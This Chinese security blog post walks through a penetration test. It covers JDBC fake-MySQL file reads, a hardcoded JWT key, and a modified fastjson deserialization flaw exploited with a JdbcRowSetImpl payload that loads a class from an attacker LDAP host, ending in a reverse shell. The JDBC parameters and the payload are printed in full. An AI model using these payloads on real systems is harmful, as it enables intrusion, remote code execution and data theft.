声明
本文属于OneTS安全团队成员v4por的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。
某系统渗透记录
☑渗透测试
(1)测试过程
事情起因为:
大哥发话了,那肯定得满足大哥的要求,直接登入系统:
(站被关了,之前没截图,大概这个意思)往菜单栏一看,有个数据库管理,打开后是个 JDBC 配置的功能,大哥说这个能读文件,但是有 bug,jar包源码读不完整,总是缺字节:
到底是什么 bug,让我来一试。VPS 上启动 mysql-fake:
首先读一手 /proc/self/cmdline,通过这个文件可以看到当前进程的命令行:
读出来的路径是:/opt/******ver/*********_***-1.1.1.jar。尝试读取 jar 包,成功读取。
JDBC 反序列化除了文件读取外,还可以通过反序列化来执行系统命令从而 RCE,但是测试了 mysql-fake 中的所有链后,除了 URLDNS 之外没有什么能用的。
(2)问题总结
在上述的测试中存在一个问题,在进行漏洞利用时,JDBC 连接的传参为:
/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=&maxAllowedPacket=65536&username=fileread_/opt/*********/*********_***-1.1.1.jar&password=1234
这里的连接参数没有设置连接时间,导致文件还未读取完毕时出现通讯中断的问题,因此在读取大文件时最好增加如下参数:
connectTimeout=60000&socketTimeout=60000
也正是这个原因导致大哥文件读取失败。。。
☑源码审计
大哥的诉求除了上述那个 jar 包读取的问题外,还想要一个未授权 RCE,这个只能对源码做下审计了(原项目存在 shiro,但是没有 key)。
用小茶壶打开 jar,经过一番查找到,发现源码在如下两个包中:
json 那个包很明显是为了处理 json 字符串,这种功能很容易出反序列化。而我们优先任务是分析权限相关的东西,因此先看 core 包。
(1)core
分析 core 包的项目结构后,很快便找到了 shiro 的配置文件,如下 anon 标注的未授权接口进行审计和测试后,没有任何的收获,纯浪费感情。
继续对 shiro 相关的类进行审计,尝试寻找修改后的 key、默认的 token 等,功夫不负有心人,发现了代码中硬编码的 JWT Token:
当下立刻兴冲冲的拿去验证:
🤡
然后我不信邪的分析了它的 Token 校验逻辑,随后按照它的逻辑使用默认的那个 Token 进行了 JWT 的生成:
我只能说:🤡
虽然 jwt.io 校验不通过,但是实际上用生成的 Token 是可以访问系统的。
当下立马将此事报告给大哥,大哥拿着默认 token 生成的 jwt 换了个站进行测试,居然登陆不上。。。。
🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡
后来大哥说,虽然这个是硬编码的,但是可能供应商给每一家搞得都不一样,所以没什么用。
事已至此, 先睡觉吧。。。(根本睡不着,起来重审!)
(2)json
core 包内其实没什么好看的了,而 json 这个包倒非常的耐人寻味:
版本号是 1.1.25?敏感肌师傅可能会立马想到 fastjson,fastjson 的版本格式也是 x.x.xx,比如 1.2.24。
迟钝的师傅可能会问,这个版本格式很常见的好不好。我在后续翻阅项目结构时有了如下发现:
这是 fastjson1.2.24 没有引入 checkAutoType 方法前的漏洞点,所以可以 100%实锤这个玩意是 fastjson 改过来的。
既然如此打一下:
(忘记截图了凑合着看)确实存在反序列化漏洞。但是又有一个新的问题,项目中没有发现可以用的链。此时敏感肌师傅会说,那 JDBC 不是能用吗?太 TM 聪明了,直接打如下 POC:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xxx.xx.xx.xxx:1389/Exploit",
"autoCommit":true
}
JDBC 反序列化打的时候要起 JNDI 服务,大概逻辑如下:
就在我手搓这个过程时,另一位大哥发出了无情的嘲笑:这年头你还在这手搓?我:🤡。
随后便上了推荐的 JNDI-Inject 工具,这玩意是真的好使啊:
(⚠注意要把绑定的 IP 换成 VPS 的出网 IP)
这下直接RCE。但是漏洞是登录后的,仍然没什么用,大哥说弹个 shell 回来,翻翻还有啥配置文件。
结果就在弹 shell 的时候又翻车了:目标可以执行一些简短的命令,再执行反弹shell 这种复杂命令时没有反应。此时,敏感肌师傅肯定会说,那肯定是POC 有问题。
(3)JAVA 命令执行 tips
java 执行命令的方法有很多,但是常见的有如下两个:
//方法1
Runtime.getRuntime().exec("calc");
//方法2
Runtime.getRuntime().exec("cmd.exe","/c","calc");
迟钝的师傅此时会问,这俩方法有啥区别,不就是参数不一样吗?其实不太是,exec 方法执行命令的原理是:
也就是说,在执行反弹shell 这种包含管道、重定向等符号的命令时,必须要从 /bin/bash 开始,因此最好采用如下这种方式,避免空格的切割导致命令执行失败。
在知道了原理后,对 JNDI-Inject 进行简单的调整。原版在生成 evil class 时,是通过 ASM 生成一个通过方法 1 执行命令的 class:
我们只需要修改 ASM,将生成的 class 换成执行方法 2 的逻辑即可:
不熟悉 java 的师傅不用担心,该版本已上传至 github,公众号后台回复jndi获取工具下载链接!!!
至此,反弹shell 成功,通过配置文件中的通用密钥构造jwt的Token通用进入后台。